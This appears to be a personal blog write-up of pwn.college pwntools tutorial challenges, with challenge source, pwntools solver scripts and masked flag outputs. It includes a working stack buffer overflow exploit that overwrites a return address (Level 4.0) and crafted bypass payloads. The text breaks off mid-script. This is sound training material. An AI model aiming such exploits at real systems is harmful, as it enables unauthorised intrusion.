Hello Navi

Tech, Security & Personal Notes

Level 0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level0.0"
p = process(challenge_path)

payload = b"pokemon\n"
# Send the payload after the string ":)\n###\n" is found.
p.sendafter(":)\n###\n", payload)

# Receive flag from the process
flag = p.recvline()
print(f"flag is: {flag}")
1
2
3
4
5
6
hacker@pwntools~level-0-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level0.0': pid 218
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Process '/challenge/pwntools-tutorials-level0.0' stopped with exit code 0 (pid 218)
flag is: b'pwn.college{**********************************************}\n'

Level 1.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void print_flag()
{
char *p;
FILE *fp;
char flag[100];

fp = fopen("/flag", "r");

if (!fp) {
perror("[-] fopen failed");
}

p = fgets(flag, sizeof(flag), fp);
if (!p) {
perror("[-] fgets failed");
fclose(fp);
}

printf("%s", flag);

fclose(fp);
}

int bypass_me(char *buf)
{
unsigned int magic = 0xdeadbeef;

if (!strncmp(buf, (char *)&magic, 4)) {
return 1;
}

return 0;
}

int main()
{
char buffer[100];

print_desc();

fgets(buffer, sizeof(buffer), stdin);

if (bypass_me(buffer)) {
print_flag();
} else {
printf("You need to bypass some conditions to get the flag: \n");
printf("Please refer to the source code to understand these conditions\n");
}

print_exit();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level1.0"
p = process(challenge_path)

payload = p32(0xdeadbeef)
# Send the payload after the string ":)\n###\n" is found.
p.sendlineafter(":)\n###\n", payload)

# Receive flag from the process
flag = p.recvline()
print(f"flag is: {flag}")
1
2
3
4
5
6
hacker@pwntools~level-1-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level1.0': pid 200
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Process '/challenge/pwntools-tutorials-level1.0' stopped with exit code 0 (pid 200)
flag is: b'pwn.college{**********************************************}\n'

Level 1.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int bypass_me(char *buf)
{
int flag = 1;
int num;

// b'p' + 0x15 + 123456789 + 'Bypass Me:)'
if (buf[0] != 'p' || buf[1] != 0x15) {
flag = 0;
goto out;
}

memcpy(&num, buf + 2, 4);
if (num != 123456789) {
flag = 0;
goto out;
}

if (strncmp(buf + 6, "Bypass Me:)", 11)) {
flag = 0;
goto out;
}

out:
return flag;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level1.1"
p = process(challenge_path)

# b'p' + 0x15 + 123456789 + 'Bypass Me:)'
payload = b"p" + p8(0x15) + p32(123456789) + b"Bypass Me:)"
# Send the payload after the string ":)\n###\n" is found.
p.sendlineafter(":)\n###\n", payload)

# Receive flag from the process
flag = p.recvline()
print(f"flag is: {flag}")
1
flag is: b'pwn.college{**********************************************}\n'

Level 2.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.0"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
p.sendafter("Please give me your assembly in bytes", asm("mov rax, 0x12345678"))

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
^Chacker@pwntools~level-2-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level2.0': pid 194
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: mov rax, 0x12345678
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.0' stopped with exit code 0 (pid 194)

Level 2.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class ASMChallenge(ASMBase):
"""
Exchange the value of registers
"""

name = "pwntools-tutorials-level2.1"
init_rax = random.randint(0, 0x100000000)
init_rbx = random.randint(0, 0x100000000)
init_memory = {}

# users can write multiple instructions to archive this goal
# whitelist = ["xchg"]

@property
def description(self):
return f"""
In this level you need to craft assembly code to satisfy the following conditions:
* exchange the value of rax and rbx
"""

def trace(self):
self.start()
return (self.rax == self.init_rbx and self.rbx == self.init_rax)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.1"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
p.sendafter("Please give me your assembly in bytes", asm("xchg rax, rbx"))

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
    main()hacker@pwntools~level-2-1:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level2.1': pid 198
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: xchg rbx, rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.1' stopped with exit code 0 (pid 198)

Level 2.2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class ASMChallenge(ASMBase):
"""
Exchange the value of registers
"""

name = "pwntools-tutorials-level2.2"
init_rdx = 0
init_rax = random.randint(0, 0x100000000)
init_rbx = random.randint(0, 0x100000000)
init_rcx = random.randint(0, 0x100000000)
init_rsi = random.randint(0, 0x100000000)
init_memory = {}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* rax = rax % rbx + rcx - rsi

We already set the following in preparation for your code:
rdx = 0
"""

def trace(self):
self.start()
return (self.rax == self.init_rax % self.init_rbx + self.init_rcx - self.init_rsi)

在 x86 架构中,取模(modulo)运算并没有独立的指令,而是和除法指令 div 绑定在一起的。当你执行无符号除法 div rbx 时,CPU 底层是这么运作的:

  1. 它会将 rdxrax 拼接成一个 128-bit 的大整数(即 rdx:rax)作为被除数。
  2. 它拿这个被除数去排着除以你的操作数 rbx
  3. 关键点来了:计算完成后,商 (Quotient) 会被存放在 rax 中,而我们最需要的余数 (Remainder/Modulo) 会被存放在 rdx 中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.2"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
p.sendafter(
"Please give me your assembly in bytes",
asm("""
xor rdx, rdx
div rbx
mov rax, rdx
add rax, rcx
sub rax, rsi
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: xor rdx, rdx
[+] 0x400003: div rbx
[+] 0x400006: mov rax, rdx
[+] 0x400009: add rax, rcx
[+] 0x40000c: sub rax, rsi
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.2' stopped with exit code 0 (pid 231)

Level 2.3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class ASMChallenge(ASMBase):
"""
Copy memory value
"""

name = "pwntools-tutorials-level2.3"
value = random.randint(0, 0x100000)

@property
def init_memory(self):
return {self.DATA_ADDR: self.value.to_bytes(8, "little")}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* copy 8-bytes memory starting at 0x404000 to 8-bytes memory starting at 0x405000
"""

def trace(self):
self.start()
return all(
(
self[self.DATA_ADDR + 0x1000 : self.DATA_ADDR + 0x1000 + 8] == self.value.to_bytes(8, "little"),
self[self.DATA_ADDR : self.DATA_ADDR + 8] == self.value.to_bytes(8, "little"),
)
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.3"

p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
# In this level you need to craft assembly code to complete the following operations:
# * copy 8-bytes memory starting at 0x404000 to 8-bytes memory starting at 0x405000

p.sendafter(
"Please give me your assembly in bytes",
asm("""
mov rax, qword ptr [0x404000]
mov qword ptr [0x405000], rax
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: mov rax, qword ptr [0x404000]
[+] 0x400008: mov qword ptr [0x405000], rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.3' stopped with exit code 0 (pid 205)

Level 2.4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class ASMChallenge(ASMBase):
"""
Manipulate stack region
"""

name = "pwntools-tutorials-level2.4"

init_rbx = random.randint(0x1000, 0x10000)
init_rsp = ASMBase.RSP_INIT - 0x8
mem_rsp = random.randint(0x10000, 0x20000)

@property
def init_memory(self):
return {self.init_rsp: self.mem_rsp.to_bytes(8, "little")}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* the top value of the stack = the top value of the stack - rbx

Tips: perfer push and pop instructions, other than directly [esp] dereference
"""

def trace(self):
self.start()
return self[self.init_rsp : self.init_rsp + 8] == (
self.mem_rsp - self.init_rbx
).to_bytes(8, "little")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.4"
p = process(challenge_path)

# Send the payload after the string "(up to 0x1000 bytes): \n" is found.
# In this level you need to craft assembly code to complete the following operations:
# * the top value of the stack = the top value of the stack - rbx
# Tips: perfer push and pop instructions, other than directly [esp] dereference

p.sendafter(
"Please give me your assembly in bytes",
asm("""
pop rax
sub rax, rbx
push rax
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: pop rax
[+] 0x400001: sub rax, rbx
[+] 0x400004: push rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.4' stopped with exit code 0 (pid 205)

Level 2.5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class ASMChallenge(ASMBase):
"""
Manipulate stack region
"""

name = "pwntools-tutorials-level2.5"

init_rsp = ASMBase.RSP_INIT - 0x8
mem_rsp = random.randint(0x7000000000000000, 0xFFFFFFFFFFFFFFFF)

@property
def init_memory(self):
return {self.init_rsp: self.mem_rsp.to_bytes(8, "little")}

@property
def description(self):
return f"""
In this level you need to craft assembly code to complete the following operations:
* the top value of the stack = abs(the top value of the stack)
"""

def trace(self):
self.start()
return self[self.init_rsp : self.init_rsp + 8] == (
self.mem_rsp if self.mem_rsp < 0x8000000000000000 else 2**64 - self.mem_rsp
).to_bytes(8, "little")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.5"

p = process(challenge_path)

# In this level you need to craft assembly code to complete the following operations:
# * the top value of the stack = abs(the top value of the stack)

p.sendafter(
"Please give me your assembly in bytes",
asm("""
pop rax
neg rax
push rax
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: pop rax
[+] 0x400001: neg rax
[+] 0x400004: push rax
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.5' stopped with exit code 0 (pid 205)

Level 2.6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class ASMChallenge(ASMBase):
"""
Manipulate stack region
"""

name = "pwntools-tutorials-level2.6"

init_rcx = random.randint(0x10000, 0x20000)
init_memory = {}

@property
def description(self):
return f"""
In this level you need to craft for statement to complete the following operations:
* rax = the sum from 1 to rcx
"""

def trace(self):
self.start()
return self.rax == sum(range(self.init_rcx+1))

初学者肯定会想到写个循环:把 rax 清零,然后每次把 rcx 加进 rax,再 dec rcx,接着用 jnz 跳转回去。

回想一下等差数列求和

$$Sum = \frac{rcx \times (rcx + 1)}{2}$$

利用 mul 乘法指令和 shr 位移指令 只需要 O(1) 的时间复杂度

这个优化的前提是 rcx 里的数值不会大到让相乘的结果溢出 64-bit 寄存器 rax 并跑进 rdx 里。

如果开发中遇到这种溢出,我们还要加上 shrd rax, rdx, 1 来处理双精度位移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *


def print_lines(io):
info("Printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break


# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level2.6"

p = process(challenge_path)

# In this level you need to craft assembly code to complete the following operations:
# * rax = the sum from 1 to rcx

# 1. 准备计算 (rcx + 1),我们先把 rcx 复制到 rax
# 2. rax = rcx + 1
# 3. 乘法: CPU 会自动计算 rax * rcx,并将低 64-bit 结果存入 rax,高位存入 rdx
# 此时 rax 里就是 n * (n + 1) 的结果
# 4. 除以 2:用逻辑右移 (shr) 来代替 div 指令
p.sendafter(
"Please give me your assembly in bytes",
asm("""
mov rax, rcx
inc rax
mul rcx
shr rax, 1
"""),
)

print_lines(p)
1
2
3
4
5
6
7
8
9
10
11
12
[*] Printing io received lines
[+] (up to 0x1000 bytes):
[+] Executing your code...
[+] ---------------- CODE ----------------
[+] 0x400000: mov rax, rcx
[+] 0x400003: inc rax
[+] 0x400006: mul rcx
[+] 0x400009: shr rax, 1
[+] --------------------------------------
[+] pwn.college{**********************************************}
[+]
[*] Process '/challenge/pwntools-tutorials-level2.6' stopped with exit code 0 (pid 193)

Level 3.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#define BUF_SIZE 0x100

enum book_status{
CREATED = 0X12345,
ABANDONED = 0X67890,
}
;
typedef struct {
char content[BUF_SIZE];
int status;
} notebook;

notebook * notebooks[10] = {NULL};

void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}

int read_int()
{
char buf[0x10];
read(0, buf, 0x10);
return atoi(buf);
}

void read_flag()
{
char flag[0x100];
int fd, size = 0;

fd = open("/flag", 0);
if (fd < 0) {
puts("Open flag failed");
exit(-1);
}
size = read(fd, flag, 0x100);
write(1, flag, size);
close(fd);
exit(0);
}

void create_notebook()
{
notebook *book = NULL;
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x20) {
puts("Invalid index for notebooks, Hacker!");
return;
}

book = malloc(sizeof(notebook));
if (book == NULL) {
puts("malloc error");
exit(-1);
}

puts("Input your notebook content:");
read(0, book->content, BUF_SIZE);
book->status = CREATED;

notebooks[idx] = book;
puts("Done!");
}

void edit_notebook()
{
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x10) {
puts("Invalid index, Hacker!");
return;
}

if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}

notebooks[idx]->status = ABANDONED;
puts("Done!");
}

void delete_notebook()
{
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x10) {
puts("Invalid index, Hacker!");
return;
}

if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}

free(notebooks[idx]);
puts("Done!");
}

void show_notebook()
{
int idx;

puts("Input your notebook index:");
idx = read_int();
if (idx < 0 || idx >= 0x10) {
puts("Invalid index, Hacker!");
return;
}

if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}

printf("content = %s, status = 0x%x\n", notebooks[idx]->content, notebooks[idx]->status);
}

int bypass_me()
{
int flag = 0;

// notebooks[0]
if ((notebooks[0] == NULL) ||
(strcmp(notebooks[0]->content, "hello ") != 0) ||
(notebooks[0]->status != CREATED))
return flag;

// notebooks[1]
if ((notebooks[1] == NULL) ||
(strcmp(notebooks[1]->content, "world,") != 0) ||
(notebooks[1]->status != ABANDONED))
return flag;

// notebooks[3]
if ((notebooks[3] == NULL) ||
(strcmp(notebooks[3]->content, "magic ") != 0) ||
(notebooks[3]->status != CREATED))
return flag;

// notebooks[5]
if ((notebooks[5] == NULL) ||
(strcmp(notebooks[5]->content, "notebook") != 0) ||
(notebooks[5]->status != ABANDONED))
return flag;

flag = 1;

return flag;
}

void menu()
{
puts("1. Create Notebook");
puts("2. Edit Notebook");
puts("3. Delete Notebook");
puts("4. Show Notebook");
puts("5. Gift for You");
puts("Choice >> ");
}

int main()
{
int choice, flag = 1;

init();
puts("We have a magic notebook for you:");

while (flag) {
menu();
scanf("%d", &choice);
switch (choice)
{
case 1:
create_notebook();
break;
case 2:
edit_notebook();
break;
case 3:
delete_notebook();
break;
case 4:
show_notebook();
break;
case 5:
if (bypass_me())
read_flag();
flag = 0;
break;
default:
puts("Invalid choice");
break;
}
}

puts("Bye bye~");

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(arch="amd64", os="linux", log_level="info")

challenge_path = "/challenge/pwntools-tutorials-level3.0"

p = process(challenge_path)

def create(idx, content):
p.sendlineafter(b"Choice >> \n", b"1")
p.sendlineafter(b"Input your notebook index:\n", str(idx).encode())
p.sendafter(b"Input your notebook content:\n", content)

def edit(idx):
p.sendlineafter(b"Choice >> \n", b"2")
p.sendlineafter(b"Input your notebook index:\n", str(idx).encode())

create(0, b"hello \x00")
create(1, b"world,\x00")
create(3, b"magic \x00")
create(5, b"notebook\x00")

# 修改指定 chunk 的 status 为 ABANDONED
edit(1)
edit(5)

p.sendlineafter(b"Choice >> \n", b"5")

flag_output = p.recvall()
print(flag_output.decode('utf-8', errors='ignore'))
1
2
3
4
5
hacker@pwntools~level-3-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level3.0': pid 196
[+] Receiving all data: Done (58B)
[*] Process '/challenge/pwntools-tutorials-level3.0' stopped with exit code 0 (pid 196)
pwn.college{**********************************************}

Level 4.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
            ;-- read_flag:
0x00401f0f f30f1efa endbr64
0x00401f13 55 push rbp
0x00401f14 4889e5 mov rbp, rsp
0x00401f17 4883ec70 sub rsp, 0x70
0x00401f1b 488d359e12.. lea rsi, [0x004031c0] ; "r"
0x00401f22 488d3d9912.. lea rdi, str._flag ; 0x4031c2 ; "/flag"
0x00401f29 e852f3ffff call sym.imp.fopen ;[2]
0x00401f2e 488945f8 mov qword [rbp - 8], rax
0x00401f32 48837df800 cmp qword [rbp - 8], 0
┌─< 0x00401f37 7522 jne 0x401f5b
│ 0x00401f39 488d3d8812.. lea rdi, str. ; 0x4031c8
│ 0x00401f40 e88bf2ffff call sym.imp.puts ;[3]
│ 0x00401f45 bfffffffff mov edi, 0xffffffff ; -1
│ 0x00401f4a e891f3ffff call sym.imp.exit ;[4]
┌──> 0x00401f4f 488d4590 lea rax, [rbp - 0x70]
╎│ 0x00401f53 4889c7 mov rdi, rax
╎│ 0x00401f56 e875f2ffff call sym.imp.puts ;[3]
╎└─> 0x00401f5b 488b55f8 mov rdx, qword [rbp - 8]
╎ 0x00401f6f 488d4590 lea rax, [rbp - 0x70]
╎ 0x00401f63 be64000000 mov esi, 0x64 ; 'd' ; 100
╎ 0x00401f68 4889c7 mov rdi, rax
╎ 0x00401f6b e8c0f2ffff call sym.imp.fgets ;[5]
╎ 0x00401f70 4885c0 test rax, rax
└──< 0x00401f73 75da jne 0x401f4f
0x00401f75 488b45f8 mov rax, qword [rbp - 8]
0x00401f79 4889c7 mov rdi, rax
0x00401f7c e86ff2ffff call sym.imp.fclose ;[6]
0x00401f81 90 nop
0x00401f82 c9 leave
0x00401f83 c3 ret
;-- main:
0x00401f84 f30f1efa endbr64
0x00401f88 55 push rbp
0x00401f89 4889e5 mov rbp, rsp
0x00401f8c 4883ec30 sub rsp, 0x30
0x00401f90 66c745fe3412 mov word [rbp - 2], 0x1234 ; '4\x12'
0x00401f96 b8efbeadde mov eax, 0xdeadbeef
0x00401f9b 488945f0 mov qword [rbp - 0x10], rax
0x00401f9f b800000000 mov eax, 0
0x00401fa4 e801ffffff call sym.init ;[7]
0x00401fa9 b800000000 mov eax, 0
0x00401fae e8ecfdffff call sym.print_desc ;[8]
0x00401fb3 488d3d2112.. lea rdi, str.Give_me_your_input ; 0x4031db ; "Give me your input"
0x00401fba e811f2ffff call sym.imp.puts ;[3]
0x00401fbf 488d45d0 lea rax, [rbp - 0x30]
0x00401fc3 4889c6 mov rsi, rax
0x00401fc6 488d3d2112.. lea rdi, [0x004031ee] ; "%s"
0x00401fcd b800000000 mov eax, 0
0x00401fd2 e8d9f2ffff call sym.imp.__isoc99_scanf ;[9]
0x00401fd7 b800000000 mov eax, 0
0x00401fdc e876fcffff call sym.print_exit ;[?]
0x00401fe1 b800000000 mov eax, 0
0x00401fe6 c9 leave
0x00401fe7 c3 ret
0x00401fe8 0f1f840000.. nop dword [rax + rax]

hacker@pwntools~level-4-0:~$ checksec /challenge/pwntools-tutorials-level4.0
[*] '/challenge/pwntools-tutorials-level4.0'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

buffer overflow + ret to read_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# Set architecture, os and log level
context(arch="amd64", os="linux", log_level="info")

# Load the ELF file and execute it as a new process.
challenge_path = "/challenge/pwntools-tutorials-level4.0"
p = process(challenge_path)

payload = b"A" * 48 + b"B" * 8 + p64(0x00401f0f)
# Send the payload after the string ":)\n###\n" is found.
p.sendlineafter("Give me your input\n", payload)

# Receive flag from the process
flag = p.recvall(timeout=1)
print(f"flag is: {flag}")
1
2
3
4
5
6
7
hacker@pwntools~level-4-0:~$ python a.py
[+] Starting local process '/challenge/pwntools-tutorials-level4.0': pid 202
/nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] Receiving all data: Done (188B)
[*] Process '/challenge/pwntools-tutorials-level4.0' stopped with exit code -11 (SIGSEGV) (pid 202)
flag is: b'\n### 2026\xe5\xb9\xb44\xe6\x9c\x881\xe6\x97\xa518:42:16 \xe6\x88\x98\xe6\x96\x97\xe8\xae\xb0\xe5\xbd\x95:\x1b[1m\x1b[31m \xe5\xa4\xa7\xe9\x92\xb3\xe8\x9f\xb9 \x1b[0m\xe8\x8e\xb7\xe8\x83\x9c\n### \xe5\x8a\xaa\xe5\x8a\x9b\xe6\x8f\x90\xe5\x8d\x87\xe8\x87\xaa\xe5\xb7\xb1\xe7\x9a\x84\xe7\xad\x89\xe7\xba\xa7\xe5\x90\x8e\xef\xbc\x8c\xe5\x86\x8d\xe6\x9d\xa5\xe6\x8c\x91\xe6\x88\x98\xe5\x90\xa7\xef\xbc\x81\npwn.college{**********************************************}\n\n'

External BBS (login)

1
2
3
4
5
6
7
8
9
10
11
12
13
# telnet 20forbeers.com:1337
# ssh 20forbeers.com:1338
# web http://20forbeers.com:1339/

# Install syncterm to connect to BBS
$ paru -S syncterm

hacker@bbs~external-bbs-login:~$ /challenge/checker.py
Hello! You should've found the DOOM server password on an external BBS. Please enter it now.
Enter password:
********
Correct!
pwn.college{***}

Internal BBS

Since BBS’s often only allowed one line to be connected at a time, often admins had to limit users’ daily use time. In this challenge, you will be interacting with a locally run BBS that has a very short visit time (15s). In real life, people made programs to download all data on the BBS, so only new data had to be read in real time.

Some users have left a flag lying around in the message boards, get it before we disconnect you.

The BBS server is running on localhost:1337 when you start the challenge. You can find the server code at /challenge/bbs_server.py.

Scripting Help

If you are new to scripting with Python, here is a script to get you started:

You should mostly be able to solve it with the APIs shown in the script. If you need more help see pwntools.

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

# Connect to the BBS server
bbs = remote("localhost", 1337)

# Receive until the menu choice prompt
data = bbs.recvuntil("Enter your choice: ")
print("data", data)

# Select option 1 (List message titles)
bbs.sendline("1")
data = bbs.recvuntil("=== Main Menu ===")
print(data)

BBS Server Code

We need to fetch all titles and then request each one quickly before the 15-second timeout.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import os
import re
# Disable terminal features for pwnlib to avoid issues in non-interactive environments
os.environ['PWNLIB_NOTERM'] = '1'

from pwn import *
context.log_level = 'error'

def solve():
# Connect to the local BBS server
bbs = remote("localhost", 1337)

# Wait for the initial menu
